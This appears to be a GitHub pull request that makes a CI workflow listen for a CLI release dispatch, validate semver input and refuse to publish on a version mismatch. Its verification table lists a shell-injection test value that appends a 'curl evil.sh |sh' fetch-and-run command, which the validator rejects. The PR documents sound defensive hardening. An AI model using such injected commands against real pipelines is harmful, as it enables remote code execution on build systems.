Skip to content

fix(ci): listen for the cli-release dispatch and publish in lockstep - #104

Merged
acamarata merged 1 commit into
mainfrom
fix/cli-release-dispatch
Sep 12, 2026
Merged

acamarata merged 1 commit into
mainfrom
fix/cli-release-dispatch

Conversation

@acamarata

Copy link
Copy Markdown
Collaborator

nself-org/cli release.yml has dispatched cli-release at this repo on every stable release since S34-T12, to satisfy the MASTER-VERSIONS Hard Rule:

When CLI tags vX.Y.Z, Admin's Docker image nself/nself-admin:X.Y.Z must publish on the same release day. A release is not complete until CLI binary + homebrew formula + admin Docker image are all published at the matching version and :latest points to the new version.

No workflow here listened for it. All 20 checked; docker-publish.yml and release.yml both trigger on push: tags: v* only. The dispatch went into the void on every release, and Docker Hub has sat at 1.0.13 while CLI reached 1.3.6 — the lockstep rule has been violated in practice, as MASTER-VERSIONS already records.

Changes

1. Listen for repository_dispatch: [cli-release].

2. Resolve the version per trigger. The old logic fell through to ${GITHUB_REF#refs/tags/v} for anything that was not workflow_dispatch. On a repository_dispatch, GITHUB_REF is refs/heads/main — so VERSION would have become the literal string refs/heads/main. It now switches on GITHUB_EVENT_NAME, strips the tag's leading v, and validates plain X.Y.Z semver before the value can reach a Docker tag or the :latest alias. The payload arrives via env: rather than inline interpolation — a dispatch payload is controlled by whatever holds the dispatching token.

3. Refuse to publish on a lockstep break. If the CLI released vX.Y.Z but admin's package.json says something else, the image would be tagged with a version its own code does not report. MASTER-VERSIONS: "Any desync ... is a hard error." scripts/check-version-lockstep.sh already proves package.json and cli-version.ts agree with each other; this proves they agree with the release being cut.

Verification

All four trigger paths simulated:

Trigger Input Result
repository_dispatch v1.3.6 version=1.3.6 major=1 major_minor=1.3
repository_dispatch 1.3.6 version=1.3.6 major=1 major_minor=1.3
push tag refs/tags/v1.3.6 version=1.3.6 major=1 major_minor=1.3
workflow_dispatch 1.3.6 version=1.3.6 major=1 major_minor=1.3
empty payload (the old silent bug) rejected
shell-injection attempt 1.3.6"; curl evil.sh |sh # rejected
prerelease tag v1.3.6-rc1 rejected

No prerelease tag has ever been cut in this repo, so the strict X.Y.Z check removes no path in use.

Note for the first run

docker-publish has failed on every attempt since 2026-05-26. The most recent (2026-08-31 17:18Z, sha 40a5d04) failed the Trivy CRITICAL gate on npm's bundled tar 7.5.11 (CVE-2026-59873). That was fixed in d19a32c by removing npm from the runtime image — which landed after that run, so the gate has not been exercised since the fix.

This PR makes the path live. The first dispatch is what proves it. If the Trivy gate still trips, that is a separate defect to fix at the image level — not by weakening the gate, per the Security-Always-Free doctrine.

nself-org/cli release.yml has dispatched `cli-release` at this repo on every
stable release since S34-T12, to satisfy the MASTER-VERSIONS Hard Rule:

  "When CLI tags vX.Y.Z, Admin's Docker image nself/nself-admin:X.Y.Z must
   publish on the same release day. A release is not complete until CLI
   binary + homebrew formula + admin Docker image are all published at the
   matching version and :latest points to the new version."

No workflow here listened for it. All 20 were checked; docker-publish.yml and
release.yml both trigger on `push: tags: v*` only. So the dispatch went into
the void on every release, and Docker Hub has sat at 1.0.13 while CLI reached
1.3.6 — the lockstep rule has been violated in practice, as MASTER-VERSIONS
already records.

Three changes:

1. Listen for `repository_dispatch: [cli-release]`.

2. Resolve the version per trigger. The old logic fell through to
   `${GITHUB_REF#refs/tags/v}` for anything that was not workflow_dispatch. On
   a repository_dispatch GITHUB_REF is refs/heads/main, so VERSION would have
   become the literal "refs/heads/main". It now switches on GITHUB_EVENT_NAME,
   strips the tag's leading v, and validates plain X.Y.Z semver before the
   value can reach a Docker tag or the :latest alias. The payload arrives via
   env: rather than inline interpolation — a dispatch payload is controlled by
   whatever holds the dispatching token.

3. Refuse to publish on a lockstep break. If the CLI released vX.Y.Z but
   admin's package.json still says something else, the image would be tagged
   with a version its own code does not report. MASTER-VERSIONS: "Any desync
   ... is a hard error." scripts/check-version-lockstep.sh already proves
   package.json and cli-version.ts agree with each other; this proves they
   agree with the release being cut.

Verified by simulating all four trigger paths: dispatch with "v1.3.6" and
"1.3.6", tag push, and manual input all resolve to 1.3.6 / major 1 /
major_minor 1.3. The empty-payload case that previously yielded
"refs/heads/main", a shell-injection attempt, and a prerelease tag are all
rejected. No prerelease tag has ever been cut in this repo, so the strict
X.Y.Z check removes no path in use.

Note for the first run: docker-publish has failed on every attempt since
2026-05-26, most recently on the Trivy CRITICAL gate for npm's bundled tar
7.5.11 (CVE-2026-59873). That was fixed in d19a32c by removing npm from the
runtime image, which landed AFTER the last run — so the gate has not been
exercised since the fix. This PR makes the path live; the first dispatch is
what proves it.
acamarata added a commit to nself-org/cli that referenced this pull request Sep 12, 2026
… the tap (#415)

The two dispatch steps in the publish job share one secret,
HOMEBREW_TAP_TOKEN, but target different repos: nself-org/homebrew-nself and
nself-org/admin. The preflight probe only checked homebrew-nself.

So a PAT scoped to the tap but not to admin passed the gate, fired the tap
dispatch, and then failed on the admin dispatch — after the release had already
published. The gate reported the token as good while half of what it authorises
was unusable.

The probe now checks every repo it dispatches to and names the failing one in
the warning. Whoever mints the replacement PAT needs repo scope on BOTH repos;
this proves it before either dispatch runs rather than after one has.

Verified by simulation: both-200 passes; the current both-401 state fails; and
the tap-only PAT case (200 on homebrew-nself, 404 on admin) — the gap this
closes — now fails instead of half-succeeding.

Context: the admin side of that dispatch had no listener at all until
nself-org/admin#104. HOMEBREW_TAP_TOKEN itself is still expired (HTTP 401) and
needs an owner to mint a new one.
@acamarata
acamarata merged commit 5359e5f into main Sep 12, 2026
32 checks passed
@acamarata
acamarata deleted the fix/cli-release-dispatch branch September 12, 2026 16:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant